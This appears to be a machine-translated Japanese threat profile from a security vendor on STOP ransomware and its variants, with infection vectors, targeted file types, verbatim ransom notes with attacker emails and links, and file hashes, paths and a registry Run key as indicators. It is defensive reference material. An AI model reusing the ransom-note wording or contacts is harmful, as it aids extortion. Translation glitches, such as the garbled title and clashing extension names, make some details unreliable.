ランサムウェアを停止

ランサムウェア年GoldSparrowまで

公開日： 2月 26, 2018

最終更新: 9月 26, 2026

翻訳内容：

脅威スコアカード

人気ランキング：	5,066
脅威レベル：	100 % (高い)
感染したコンピューター：	363,586

最初に見た：	November 29, 2018
最後に見たのは：	September 25, 2026
影響を受けるOS：	Windows

PC セキュリティ研究者は、2018 年 2 月 21 日に STOP ランサムウェアとして知られる脅威を含むランサムウェア攻撃の報告を受けました。 STOP ランサムウェアは、オープンソースのランサムウェアプラットフォームに基づいており、暗号化ランサムウェア攻撃の典型的なバージョンを実行します。 STOP ランサムウェアは、破損した添付ファイルを含むスパムメールメッセージを使用して配布されます。これらの添付ファイルは、マクロスクリプトが埋め込まれた DOCX ファイルの形式で、STOP ランサムウェアをダウンロードして被害者のコンピュータにインストールします。フィッシングメールを認識する方法を学び、受信した未承諾の添付ファイルをダウンロードしないようにすることは、これらの攻撃を回避する方法の 1 つです。

STOP ランサムウェア感染を認識する方法

STOP ランサムウェアが被害者のコンピューターにインストールされると、STOP ランサムウェアは被害者のドライブでさまざまな種類のファイルを検索します。 STOP ランサムウェアは、Web サーバーを標的にするように設計されているようです。これは、通常、これらのマシンに明示的に含まれているデータベースファイルや類似のファイルタイプを検索するためです。 STOP ランサムウェアが検索し、攻撃の対象とするファイルの種類は次のとおりです。

.3dm、.3g2、.3gp、.7zip、.aaf、.accdb、.aep、.aepx、.aet、.ai、.aif、.as、.as3、.asf、.asp、.asx、.avi 、.bmp、.c、.class、.cpp、.cs、.csv、.dat、.db、.dbf、.doc、.docb、.docm、.docx、.dot、.dotm、.dotx、. dwg、.dxf、.efx、.eps、.fla、.flv、.gif、.h、.idml、.iff、.indb、.indd、.indl、.indt、.inx、.jar、.java、 .jpeg、.jpg、.js、.m3u、.m3u8、.m4u、.max、.mdb、.mid、.mkv、.mov、.mp3、.mp4、.mpa、.mpeg、.mpg、.msg 、.pdb、.pdf、.php、.plb、.pmd、.png、.pot、.potm、.potx、.ppam、.ppj、.pps、.ppsm、.ppsx、.ppt、.pptm、. pptx、.prel、.prproj、.ps、.psd、.py、.ra、.rar、.raw、.rb、.rtf、.sdf、.sdf、.ses、.sldm、.sldx、.sql、 .svg、.swf、.tif、.txt、.vcf、.vob、.wav、.wma、.wmv、.wpd、.wps、.xla、.xlam、.xll、.xlm、.xls、.xlsb 、.xlsm、.xlsx、.xlt、.xltm、.xltx、.xlw、.xml、.xqx、.xqx、.zip。

今週のマルウェア Ep 10: STOP & Zorab Ransomware が偽の復号化機能を使って被害者を悪用

STOP ランサムウェアは、強力な暗号化アルゴリズムを使用して、被害者の各ファイルにアクセスできないようにします。 STOP ランサムウェア攻撃は、影響を受けるファイルをマークする方法として、暗号化するファイルにファイル拡張子「.SUSPENDED」を追加します。

STOP ランサムウェアの身代金メモ

STOP ランサムウェアは、被害者のコンピュータに身代金メモを送信することにより、身代金の支払いを要求します。この身代金メモは、被害者のデスクトップにドロップされたテキストファイルに表示されます。「!!!」という名前のファイルYourDataRestore !!!.txt,' には次のメッセージが含まれています。

「あなたの重要なファイルはすべてこの PC 上で暗号化されています。
.STOP 拡張子を持つすべてのファイルは暗号化されます。暗号化は、このコンピューター用に生成された一意の秘密キー RSA-1024 を使用して生成されました。
ファイルを復号化するには、秘密鍵 + 復号化ソフトウェアを入手する必要があります。
秘密鍵を取得してソフトウェアを復号化するには、stopfilesrestore@bitmessage.ch に電子メールで連絡して、!!!YourDataRestore!!!.txt ファイルを電子メールで送信し、指示を待つ必要があります。
あなたのファイルを復号化できることを確認してください。1 ～ 3 個の暗号化されたファイルを送信してください。元の形式で無料で送信してください。
最初の 72 時間にご連絡いただいた場合、復号化の価格は $600 です。
あなたの個人ID:
【ランダム文字】
お問い合わせ先メールアドレス：
stopfilesrestoret@bitmessage.ch
お問い合わせ先のメールアドレスを予約してください:
stopfilesrestore@india.com'

STOP ランサムウェアの責任者は、72 時間以内に、ビットコインを使用して特定のビットコインウォレットアドレスに 600 米ドルの身代金を支払うことを要求します。ただし、これらの人々に連絡したり、STOP Ransomware の身代金を支払うことは、最善の解決策ではない可能性があります。

STOP ランサムウェアやその他のランサムウェア型トロイの木馬からデータを保護する

STOP ランサムウェアやその他のランサムウェア型トロイの木馬に対する最善の保護は、ファイルのバックアップを取ることです。ファイルのバックアップコピーを持っているコンピューターユーザーは、身代金を支払うことなく、攻撃後にこれらのファイルを簡単に回復できます。推奨されるセキュリティプログラムは、STOP Ransomware が最初からインストールされるのを防ぐこともできます。

2018 年 12 月 6 日更新 — 「helpshadow@india.com」ランサムウェア

「helpshadow@india.com」ランサムウェアは、STOP ランサムウェアブランドを運ぶコードへの比較的小さなアップデートとして分類されます。脅威の作成者は、新しい亜種の感染率が低かったため、この新しい亜種を洗練するために十分な時間を費やしていないようです。「helpshadow@india.com」ランサムウェアは AV ベンダーによってすぐに取り上げられ、主要なソーシャルプラットフォームやサイバーセキュリティレポートを通じてアラートが発行されました。残念ながら、無料の復号化の可能性はまだありません。ユーザーは通常、電子メールで受信した破損したドキュメントを通じて侵害されます。この脅威は、Windows によって作成されたシャドウボリュームのスナップショットを消去し、暗号化されたオブジェクトに「.shadow」拡張子を付けることが知られています。たとえば、「C12-H22-O11.pptx」は「C12-H22-O11.pptx.shadow」に名前が変更され、「!readme.txt」という身代金メモがデスクトップに表示されます。「helpshadow@india.com」ランサムウェアは、感染したユーザーに次のメッセージを表示する可能性があります。

'あなたのファイルはすべて暗号化されています
心配しないで、すべてのファイルを返すことができます。
すべてのファイル、ドキュメント、写真、データベース、その他の重要なファイルは、最も強力な暗号化と一意のキーで暗号化されます。
ファイルを回復する唯一の方法は、復号化ツールと一意のキーを購入することです。
このソフトウェアは、暗号化されたすべてのファイルを復号化します。
私たちはあなたにどのような保証を提供しますか?
暗号化されたファイルの 1 つを PC から送信すると、無料で復号化できます。
ただし、無料で復号化できるファイルは 1 つだけです。ファイルには貴重な情報が含まれていてはいけません
ファイルを破壊するため、サードパーティの復号化ツールを使用しないでください。
最初の 72 時間にご連絡いただくと、50% の割引をご利用いただけます。
このソフトウェアを入手するには、電子メールに次のように記入する必要があります。
helpshadow@india.com
連絡用のメールアドレスを予約してください:
helpshadow@firemail.cc
あなたの個人ID:
[ランダムな文字]'

上記のテキストは、「helpshadow@india.com」ランサムウェアよりも前にリリースされた亜種によって使用されており、注目に値する唯一の変更点は、新しいメール設定です。「helpshadow@india.com」ランサムウェアは、メール連絡先の 1 つにちなんで名付けられており、もう 1 つは、ユーザーを同じユーザー名であるが異なるメールプラットフォームである「helpshadow@firemail.cc」を参照しています。この記事が届くまでに、両方のメールアカウントが停止される可能性があります。 helpshadow@india.com のランサムウェアの背後にいる人物を捕まえる可能性は、ランサムウェアのオペレーターがプロキシ、VPN サービス、および TOR ネットワークを使用して制御デバイスを隠していることを考えると、大きくはありません。したがって、ユーザーはデータを積極的に保護する必要があります。ステップ 1 — システムにバックアッププログラムをインストールします。ステップ 2 — 不明な送信者からのファイルを開かないでください。データバックアップをリムーバブルメモリストレージまたはファイルホスティングサービスにエクスポートすることを忘れないでください。

2018 年 12 月 13 日更新 — 「.djvu ファイル拡張子」ランサムウェア

「.djvu ファイル拡張子」ランサムウェアは、2018 年 12 月 12 日に報告された STOP ランサムウェアの新しい亜種です。脅威が依然として主にスパムメールを介して配布されていることを警告します。攻撃者は、マクロが有効なドキュメントと偽の PDF を使用して、ユーザーを騙してプログラムをサイレントインストールさせています。「.djvu ファイル拡張子」ランサムウェアによる攻撃は、2018 年 2 月の最初の感染の波とほぼ同じです。この脅威は、ユーザーのデータを暗号化する前に、メモリドライブに接続されているシャドウボリュームのスナップショットとマップを削除します。新しい亜種は別のファイル拡張子をサポートし、身代金メモはわずかに変更されています。名前が示すように、ファイルには「.djvu」という接尾辞が付けられ、「Jonne-Kaiho.mp3」のような名前は「Jonne-Kaiho.mp3.djvu」に変更されます。身代金メモはデスクトップに「_openme.txt」として表示され、次のように表示されます。

お問い合わせ先のメールアドレスを予約してください:
helpshadow@firemail.cc

あなたの個人ID:
[ランダムな文字]'

脅威の作成者は、ランサムウェアキャンペーンで引き続き「helpshadow@india.com」および「helpshadow@firemail.cc」のメールアカウントを使用します。 STOP Ransomware チームを信頼せず、上記の偽の 50% 割引の使用を避けてください。ここで説明する脅威アクターは、寛容であることは知られていません。 PC ユーザーは、信頼できるマルウェア対策ツールを使用して、「.djvu ファイル拡張子」ランサムウェアを削除する必要があります。データを回復するには、バックアップイメージとバックアップサービスを使用することをお勧めします。

2019 年 1 月 11 日更新 — 「.tfude File Extension」ランサムウェア

「.tfude File Extension」ランサムウェアは、2019 年 1 月 11 日に出現した STOP ランサムウェアのバージョンです。この脅威は、元のサイバー脅威と比較して最小限の変更を示すバージョンとして分類されています。「.tfude File Extension」ランサムウェアは、破損したコードの唯一の注目すべき変更にちなんで名付けられました。このトロイの木馬は、暗号化されたデータに「.tfude」ファイル拡張子を付けるように構成されています。「.tfude ファイル拡張子」ランサムウェアは、引き続き標準の暗号化技術と Command サーバーへの安全な接続を使用して、セキュリティ専門家が侵害されたユーザーに無料の復号化を提供することを防ぎます。

暗号通貨の脅威は、政府機関や Google Inc. などの企業がデータ転送を保護するために採用している暗号化技術を使用しています。暗号化されたファイルは Windows エクスプローラーに一般的な白いアイコンとして表示され、ユーザーがインストールしたプログラムは引き続き機能します。ただし、この脅威は一般的なデータベース形式をエンコードするため、特定のデータベースマネージャーは正しく動作しない可能性があります。たとえば、「Recent sales.pdb」は「Recent sales.pdb.tfude」に名前が変更されます。身代金メモは、デスクトップにある「_openme.txt」ファイルからメモ帳に読み込まれます。「.tfude File Extension」ランサムウェアは、元のトロイの木馬と同じメッセージを表示しますが、今回は、攻撃者は「pdfhelp@firemail.cc」メールアカウントを使用してユーザーに連絡しています。ユーザーが利用できる無料の復号化プログラムはなく、データバックアップを使用して回復する必要があります。評判の良いマルウェア対策ツールで完全なシステムスキャンを実行して、感染したデバイスをクリーンアップする必要があります。

2019 年 1 月 23 日更新 — 「pausa@bitmessage.ch」ランサムウェア

「pausa@bitmessage.ch」ランサムウェアは、STOP Ransomware Builder で生成されるファイルエンコーダーマルウェアです。「pausa@bitmessage.ch」ランサムウェアは、2018 年 5 月の第 1 週にスパムメールを介して PC ユーザーにリリースされました。回復を妨げるスナップショット。「pausa@bitmessage.ch」ランサムウェアは、Cerber や Dharma などの他の成功したランサムウェアと同じ暗号化技術を使用することが知られています。「pausa@bitmessage.ch」ランサムウェアは、AppData ディレクトリの下の Temp フォルダから実行され、安全な AES-256 暗号をドキュメント、ビデオ、音楽、データベース、および電子ブックに適用するようにプログラムされています。エンコードされたデータは「.PAUSA」拡張子を受け取り、「Hartmann-Save me.mp3」のような名前は「Hartmann-Save me.mp3.pausa」に名前が変更されます。身代金の通知は、「!!RESTORE!!!.txt」としてユーザーのデスクトップに保存され、次のように読み取られます。

「あなたの重要なファイルはすべてこの PC 上で暗号化されています。
.PAUSA 拡張子を持つすべてのファイルは暗号化されます。
暗号化は、このコンピューター用に生成された一意の秘密キー RSA-1024 を使用して生成されました。
ファイルを復号化するには、秘密鍵 + 復号化ソフトウェアを入手する必要があります。
秘密鍵を取得してソフトウェアを復号化するには、pausa@bitmessage.ch に電子メールで連絡して、!!!RESTORE!!!.txt ファイルを電子メールで送信し、さらなる指示を待つ必要があります。
私たちがあなたのファイルを復号化できることを確認しておくために、あまり大きくない暗号化されたファイルを 1 ～ 3 個送っていただければ、元の形式で無料で返送いたします。
最初の 72 時間にご連絡いただいた場合、復号化の価格は $600 です。
あなたの個人ID:
【ランダムキャラ】
お問い合わせ先メールアドレス：
pausa@bitmessage.ch
連絡用のメールアドレスを予約してください:
pausa@india.com'

「pausa@bitmessage.ch」および「pausa@india.com」のメールアカウントを介した攻撃者との交渉は避けることをお勧めします。信頼できるマルウェア対策ツールを使用して、データバックアップを起動し、システムをクリーンアップする方が安全です。 600 ドルというばかげた身代金を払ったとしても、復号化プログラムを受け取る保証はありません。 PC ユーザーは、少なくとも月に 2 回データのバックアップを作成し、セキュリティの侵害につながる可能性のあるスパムメッセージを無視することをお勧めします。 AV 企業は、「pausa@bitmessage.ch」ランサムウェアの検出ルールをサポートしていますが、この記事の執筆時点では、無料の復号化プログラムを利用できません。

2019 年 1 月 23 日更新 — 「waiting@bitmessage.ch」ランサムウェア

「waiting@bitmessage.ch」ランサムウェアは、STOP ランサムウェアに基づく暗号化トロイの木馬です。「waiting@bitmessage.ch」ランサムウェアは、2018 年 4 月 18 日に侵害されたユーザーによって報告され、破損した Microsoft Word ドキュメントを介してコンピューターに侵入しているようです。「waiting@bitmessage.ch」ランサムウェアは、感染したコンピュータ上の写真、オーディオ、ビデオ、およびテキストを暗号化するために記録されます。残念ながら、マルウェアの作成者は、データを保護するために Windows が作成するボリュームスナップショットを削除するコマンドを追加しました。このトロイの木馬は、「.WAITING」拡張子を持つファイルで標的のデータを上書きし、システム上のソフトウェアで開くことができません。たとえば、「Hartmann-Like a River.mp3」は「Hartmann-Like a River.mp3.waiting」に名前が変更され、身代金メッセージがデスクトップにドロップされます。「waiting@bitmessage.ch」ランサムウェアは「!!!INFO_RESTORE!!!.txt」をデスクトップに書き込み、次のテキストを表示します。

「あなたの重要なファイルはすべてこの PC 上で暗号化されています。
.WAITING 拡張子を持つすべてのファイルは暗号化されます。
暗号化は、このコンピューター用に生成された一意の秘密キー RSA-1024 を使用して生成されました。
ファイルを復号化するには、秘密鍵 + 復号化ソフトウェアを入手する必要があります。
秘密鍵を取得してソフトウェアを復号化するには、waiting@bitmessage.ch まで電子メールでご連絡ください。!!!INFO_RESTORE!!!.txt ファイルを電子メールで送信し、指示を待ちます。
私たちがあなたのファイルを復号化できることを確認しておくために、あまり大きくない暗号化されたファイルを 1 ～ 3 個送っていただければ、元の形式で無料で返送いたします。
最初の 72 時間にご連絡いただいた場合、復号化の価格は $600 です。
あなたの個人ID:
【ランダムキャラ】
お問い合わせ先メールアドレス：
待機@bitmessage.ch
お問い合わせ先のメールアドレスを予約してください:
Waiting@india.com'

マルウェアはサードパーティのバックアップツールに干渉しないため、データバックアップを起動できるはずです。「waiting@bitmessage.ch」および「waiting@india.com」の電子メールアドレスを介した攻撃者とのやり取りを避けることが推奨されます。ネットワークから送信されるサイバー脅威や、「waiting@bitmessage.ch」ランサムウェアなどのほとんどのランサムウェアの亜種からデータバックアップを保護したい場合は、ファイルホスティングサービスを検討することをお勧めします。

更新11月25日^目、2019 - .zobmと.rote拡張機能

セキュリティ研究者は、2019 年 11 月 24 日と 25 日に STOP ランサムウェアの新しい亜種をいくつか発見しました。ランサムウェアの亜種は、暗号化されたファイルに .zobm および .rote 拡張子を付加しましたが、_readme.txt という名前の同一の身代金メモがありました。脅威アクターに到達する可能性のある電子メールも同じでした - datarestorehelp@firemail.cc と datahelp@iran.ir。

注意！
心配しないで、すべてのファイルを返すことができます。
写真、データベース、ドキュメント、その他の重要なファイルはすべて、最も強力な暗号化と一意のキーで暗号化されます。
ファイルを回復する唯一の方法は、復号化ツールと一意のキーを購入することです。
このソフトウェアは、暗号化されたすべてのファイルを復号化します。
あなたが持っている保証は何ですか？
暗号化されたファイルの 1 つを PC から送信すると、無料で復号化できます。
ただし、無料で復号化できるファイルは 1 つだけです。ファイルには貴重な情報が含まれていてはなりません。
ビデオ概要復号化ツールを入手して見ることができます。
https://we.tl/t-4NWUGZxdHc
秘密鍵と復号化ソフトウェアの価格は 980 ドルです。
最初の 72 時間にご連絡いただければ、50% の割引をご利用いただけます。価格は $490 です。
支払いを行わないと、データを復元することはできませんのでご注意ください。
6 時間以上応答がない場合は、電子メールの「スパム」または「ジャンク」フォルダーを確認してください。

このソフトウェアを入手するには、電子メールに次のように記入する必要があります。
datarestorehelp@firemail.cc
連絡用のメールアドレスを予約してください:
datahelp@iran.ir
あなたの個人ID:
【ランダムキャラ】

2019 年以降のランサムウェアの阻止

2019 年の後半には、STOP ランサムウェアが引き続き使用され、新しい攻撃ベクトルがテストされていました。 STOP ランサムウェアは、他の形式のマルウェア (主にアドウェア) を含むバンドルとして出現し始めました。これらのマルウェアは、ゲームやソフトウェアのクラックされた実行可能ファイルをホストしていると主張する Web サイトで見つけることができます。このようにして、ランサムウェアの新しい犠牲者の多くは、希望に満ちたソフトウェアの海賊であることが判明しました。

STOP ランサムウェアが、さまざまなログイン資格情報を収集できるパスワードを盗むトロイの木馬をインストールしているという証拠もあります。

また、ランサムウェアは、使用する暗号化されたファイル拡張子の長いリストを拡張しました。 STOP ランサムウェアによって暗号化されたファイルは、.rumba および .tro 拡張子を受け取りました。これまでのところ、他にほとんど変更はありません - 身代金メモはまだ「_openme.txt」という名前のファイルで見つかりましたが、身代金の合計は 980 ドルに跳ね上がり、被害者が感染後最初の 72 時間以内に支払いを行った場合、490 ドルに減少しました。 .

2020 年 3 月 24 日更新 – 新しいバリアント

STOP ランサムウェアの背後にいる攻撃者は、2019 年と同様、2020 年も精力的に活動しており、新しい亜種が被害者のファイルを暗号化し、さまざまな新しい拡張子を付加します。 STOP ランサムウェアの新しい拡張子には、.piny、.redl、.rooe、mmnn、.ooss、.rezm、.lokd、.foop などがあります。

.lokd 亜種に付属する身代金メモのサンプルには、次のテキストが含まれていました。

注意！

心配しないで、すべてのファイルを返すことができます。
写真、データベース、ドキュメント、その他の重要なすべてのファイルは、最も強力な暗号化と一意のキーで暗号化されます。
ファイルを回復する唯一の方法は、復号化ツールと一意のキーを購入することです。
このソフトウェアは、暗号化されたすべてのファイルを復号化します。
あなたが持っている保証は何ですか？
暗号化されたファイルの 1 つを PC から送信すると、無料で復号化できます。
ただし、無料で復号化できるファイルは 1 つだけです。ファイルには貴重な情報が含まれていてはなりません。
ビデオ概要復号化ツールを入手して見ることができます。
https://we.tl/t7m8Wr997Sf
秘密鍵と復号化ソフトウェアの価格は 980 ドルです。
最初の 72 時間にご連絡いただければ、50% の割引をご利用いただけます。価格は $490 です。
支払いを行わないと、データを復元することはできませんのでご注意ください。
6 時間以上応答がない場合は、電子メールの「スパム」または「ジャンク」フォルダーを確認してください。

このソフトウェアを入手するには、電子メールに次のように記入する必要があります。
helpdatarestore@firemail.cc
連絡用のメールアドレスを予約してください:
helpmanager@mail.ch
あなたの個人ID:
【ランダムキャラ】

攻撃者がこれらの新しい亜種とともに使用している他の電子メールには、helpmanager@iran.ir と helpmanager@firemail.cc があります。

SpyHunterはランサムウェアを停止を検出して削除します

ランサムウェアを停止スクリーンショット

ファイルシステムの詳細

ランサムウェアを停止は、次のファイルを作成する可能性があります。

すべて展開 | すべて折りたたむ

#	ファイル名	MD5	検出検出: SpyHunter によって報告された、感染したコンピューターで検出された特定の脅威の確認済みおよび疑いのあるケースの数。
1.	BB30.exe	f8ef98bbaff6ac82dacde20ee90bfa55	4,207
名前： BB30.exe MD5： f8ef98bbaff6ac82dacde20ee90bfa55 サイズ： 727.04 KB (727040 バイト) 検出: 4,207 タイプ： Executable File 道： C:\Users\<username>\AppData\Local\102fb358-26bf-41e4-b074-312d0d16e568\BB30.exe グループ：マルウェアファイル最終更新： October 24, 2025
2.	5F1F.exe	b5b59a34192343da2c0fc84fb3bb6b2e	3,154
名前： 5F1F.exe MD5： b5b59a34192343da2c0fc84fb3bb6b2e サイズ： 897.02 KB (897024 バイト) 検出: 3,154 タイプ： Executable File 道： %SYSTEMDRIVE%\Users\<username>\AppData\Local\Temp\5F1F.exe グループ：マルウェアファイル最終更新： February 13, 2023
3.	3ffa.exe	a0192bd5d8164e61819890e908fa0e7d	1,890
名前： 3ffa.exe MD5： a0192bd5d8164e61819890e908fa0e7d サイズ： 813.05 KB (813056 バイト) 検出: 1,890 タイプ： Executable File 道： c:\users\<username>\appdata\local\a05fcb62-f9f6-48a2-9c62-a208896cefa2\3ffa.exe グループ：マルウェアファイル最終更新： March 20, 2022
4.	97DE.tmp.exe	4e8f1415dd3366f81fa3960db4cf70f9	1,772
名前： 97DE.tmp.exe MD5： 4e8f1415dd3366f81fa3960db4cf70f9 サイズ： 446.46 KB (446464 バイト) 検出: 1,772 タイプ： Executable File 道： %SYSTEMDRIVE%\Users\<username>\AppData\Local\e6f3a7c5-88d6-4bfb-b173-4c38bd04efdc\97DE.tmp.exe グループ：マルウェアファイル最終更新： January 13, 2022
5.	1368.tmp.exe	8cebee5086592386fa86f3ee5bacc0d2	1,647
名前： 1368.tmp.exe MD5： 8cebee5086592386fa86f3ee5bacc0d2 サイズ： 398.33 KB (398336 バイト) 検出: 1,647 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\c91d2281-49d1-471c-8716-d6db40179136\1368.tmp.exe グループ：マルウェアファイル最終更新： October 17, 2020
6.	9686685955.exe	5c71f8c3bb000d163fc2e63c089b35a1	1,631
名前： 9686685955.exe MD5： 5c71f8c3bb000d163fc2e63c089b35a1 サイズ： 863.74 KB (863744 バイト) 検出: 1,631 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\6c1cb14b-1f04-4ecc-9b6d-32678fba87a7\9686685955.exe グループ：マルウェアファイル最終更新： September 10, 2024
7.	a395.tmp.exe	536f955ae69e666b44aac54c7619b9b1	1,589
名前： a395.tmp.exe MD5： 536f955ae69e666b44aac54c7619b9b1 サイズ： 381.95 KB (381952 バイト) 検出: 1,589 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\c545263a-7487-4361-a662-bb9f7794250f\a395.tmp.exe グループ：マルウェアファイル最終更新： July 4, 2023
8.	3823.TMP.EXE.WPT	d4fceee0f4fe0f1b50a5c957eab5151b	1,500
名前： 3823.TMP.EXE.WPT MD5： d4fceee0f4fe0f1b50a5c957eab5151b サイズ： 465.92 KB (465920 バイト) 検出: 1,500 道： \??\C:\USERS\<username>\APPDATA\LOCAL\TEMP\3823.TMP.EXE.WPT グループ：マルウェアファイル最終更新： January 12, 2022
9.	512B.tmp.exe	89b1b4f3f6ec190865abaa7f61046ee5	1,255
名前： 512B.tmp.exe MD5： 89b1b4f3f6ec190865abaa7f61046ee5 サイズ： 414.72 KB (414720 バイト) 検出: 1,255 タイプ： Executable File 道： %SYSTEMDRIVE%\Users\<username>\AppData\Local\0e098dd2-a0e4-42ea-a204-a931f3d13513\512B.tmp.exe グループ：マルウェアファイル最終更新： October 9, 2023
10.	3344.exe	6a4d9e0ad2a5361dd947537182f5692d	1,240
名前： 3344.exe MD5： 6a4d9e0ad2a5361dd947537182f5692d サイズ： 898.04 KB (898048 バイト) 検出: 1,240 タイプ： Executable File 道： C:\Users\<username>\AppData\Local\3cff1b5e-8469-4b48-ae3b-dcd187aa5371\3344.exe グループ：マルウェアファイル最終更新： December 20, 2022
11.	d5e2.tmp.exe	4c1b9a14dda6a74b7abff708758d98f6	1,038
名前： d5e2.tmp.exe MD5： 4c1b9a14dda6a74b7abff708758d98f6 サイズ： 522.24 KB (522240 バイト) 検出: 1,038 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\424e6b7f-e965-4b52-b456-be94f7d6637a グループ：マルウェアファイル最終更新： June 16, 2020
12.	B117.tmp.exe	283bf952e656763a94626cac01d7bc85	979
名前： B117.tmp.exe MD5： 283bf952e656763a94626cac01d7bc85 サイズ： 494.08 KB (494080 バイト) 検出: 979 タイプ： Executable File 道： %SYSTEMDRIVE%\Users\<username>\AppData\Local\d0266395-b014-4ed8-b578-631ea77f3e4e\B117.tmp.exe グループ：マルウェアファイル最終更新： September 10, 2021
13.	25b9.tmp.exe	9bd737b220a4040dbcaf17f48be54a98	825
名前： 25b9.tmp.exe MD5： 9bd737b220a4040dbcaf17f48be54a98 サイズ： 799.23 KB (799232 バイト) 検出: 825 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\57241f6d-7256-4584-8d3d-bc831432c4cd\25b9.tmp.exe グループ：マルウェアファイル最終更新： January 29, 2022
14.	3A93.tmp.exe	d5995275a4d96672ed08cc6188143a7a	773
名前： 3A93.tmp.exe MD5： d5995275a4d96672ed08cc6188143a7a サイズ： 418.81 KB (418816 バイト) 検出: 773 タイプ： Executable File 道： %SYSTEMDRIVE%\Users\<username>\AppData\Local\730020ce-08aa-4f5c-9efb-af8385fdad19\3A93.tmp.exe グループ：マルウェアファイル最終更新： June 26, 2020
15.	2c6b.tmp.exe	ac2dffb783aed99d77ecc2006a29d971	744
名前： 2c6b.tmp.exe MD5： ac2dffb783aed99d77ecc2006a29d971 サイズ： 403.45 KB (403456 バイト) 検出: 744 タイプ： Executable File 道： c:\users\<username>\appdata\local\temp グループ：マルウェアファイル最終更新： June 21, 2020
16.	618.tmp.exe	99ba307185c56cfb6d9ea965fcfef083	719
名前： 618.tmp.exe MD5： 99ba307185c56cfb6d9ea965fcfef083 サイズ： 412.67 KB (412672 バイト) 検出: 719 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\ea8baec4-cbd4-4336-84ff-dda0d8f701d6 グループ：マルウェアファイル最終更新： April 29, 2020
17.	160f.tmp.exe	3a1a3c4b4b3de474b574f48198d6e41e	647
名前： 160f.tmp.exe MD5： 3a1a3c4b4b3de474b574f48198d6e41e サイズ： 436.22 KB (436224 バイト) 検出: 647 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\2456a31a-48fa-4fb4-9c68-0c48c3d9954e グループ：マルウェアファイル最終更新： September 20, 2020
18.	1df7.tmp.exe	ad5a82caee53510fafcdfcddfa74daae	54
名前： 1df7.tmp.exe MD5： ad5a82caee53510fafcdfcddfa74daae サイズ： 654.84 KB (654848 バイト) 検出: 54 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\72bea499-40e8-4171-9908-3a91f110d67f\1df7.tmp.exe グループ：マルウェアファイル最終更新： November 12, 2022
19.	5cd3.tmp.exe	1569c3b648b4c63ae39ddc2d2d91b7d5	14
名前： 5cd3.tmp.exe MD5： 1569c3b648b4c63ae39ddc2d2d91b7d5 サイズ： 430.97 KB (430978 バイト) 検出: 14 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\a27e663f-5d4a-4976-8d39-f96c9fc766d8\5cd3.tmp.exe グループ：マルウェアファイル最終更新： June 26, 2020
20.	e5cb.tmp.exe	031ff93d3e55a84f475cf0b563fe7f65	14
名前： e5cb.tmp.exe MD5： 031ff93d3e55a84f475cf0b563fe7f65 サイズ： 503.75 KB (503751 バイト) 検出: 14 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\09b3d467-2d15-441e-9d65-6b4a5d9bf509 グループ：マルウェアファイル最終更新： August 20, 2019
21.	5dcc.tmp.exe	e3b973420daf30a4180f60337a2eaf90	14
名前： 5dcc.tmp.exe MD5： e3b973420daf30a4180f60337a2eaf90 サイズ： 487.42 KB (487424 バイト) 検出: 14 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\51f7495d-3c09-4597-8582-f09b1fd5debc グループ：マルウェアファイル最終更新： August 20, 2019
22.	6fa4.tmp.exe	67e8f528b4db3443a74718443a2fc788	12
名前： 6fa4.tmp.exe MD5： 67e8f528b4db3443a74718443a2fc788 サイズ： 596.42 KB (596423 バイト) 検出: 12 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\71e51782-6237-4e6d-a36e-d1f920af9ed9\6fa4.tmp.exe グループ：マルウェアファイル最終更新： June 27, 2020
23.	cc0.tmp.exe	0564489cff6c549ca82b7a470b305346	11
名前： cc0.tmp.exe MD5： 0564489cff6c549ca82b7a470b305346 サイズ： 563.72 KB (563722 バイト) 検出: 11 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\2a7db3c3-a785-4936-8d95-a80bc680c93f\cc0.tmp.exe グループ：マルウェアファイル最終更新： June 26, 2020
24.	c11d.tmp.exe	a0eb1e740d92c51576ed117d8b6de3c5	11
名前： c11d.tmp.exe MD5： a0eb1e740d92c51576ed117d8b6de3c5 サイズ： 530.88 KB (530887 バイト) 検出: 11 タイプ： Executable File 道： %SYSTEMDRIVE%\users\<username>\appdata\local\532a3dc7-3a4d-47a8-8cfc-ae55ec6aedc5\c11d.tmp.exe グループ：マルウェアファイル最終更新： June 26, 2020
25.	ransomware.exe	fdc340769c3ca364f6cc7ca1be99762b	0
名前： ransomware.exe MD5： fdc340769c3ca364f6cc7ca1be99762b サイズ： 444.92 KB (444928 バイト) 検出: 0 タイプ： Executable File グループ：マルウェアファイル

その他のファイル

レジストリの詳細

ランサムウェアを停止は、次のレジストリエントリまたはレジストリエントリを作成する可能性があります。

File name without path

34fedwfe.exe

3fwedfe.exe

45rfedwwed.exe

45trgvdcregt.exe

4gtrecwr3t4g.exe

4rfeerwd.exe

54grfecr4bv.exe

5t4fr3dex.exe

5ygt4rfcd.exe

745rgfed.exe

brgrtv3f.exe

btevfrdcs.exe

ewfwe2.exe

ewrewexcf.exe

gtreefcd.exe

hwxfesa.exe

r44r3red.exe

retrvced.exe

rewrtrbvfd.exe

rfhi3f.exe

t4rtecf3rfe.exe

tbvgrfced.exe

tgrfet4tgrf.exe

trvecwx.exe

uyjhbv.exe

ybtvgrfcd.exe

yntbrvecd.exe

Regexp file mask

%programfiles%\fina\dowloadx.exe

%programfiles%\jack\setup.exe

%programfiles%\jack\setx.exe

%programfiles%\love\setup.exe

%programfiles%\new year\setx.exe

%programfiles(x86)%\fina\dowloadx.exe

%programfiles(x86)%\jack\setup.exe

%programfiles(x86)%\jack\setx.exe

%programfiles(x86)%\love\setup.exe

%programfiles(x86)%\new year\setx.exe

HKEY..\..\..\..{RegistryKeys}

Software\Microsoft\Windows\CurrentVersion\Run\SysHelper

ディレクトリ

ランサムウェアを停止は、次のディレクトリまたはディレクトリを作成する場合があります。

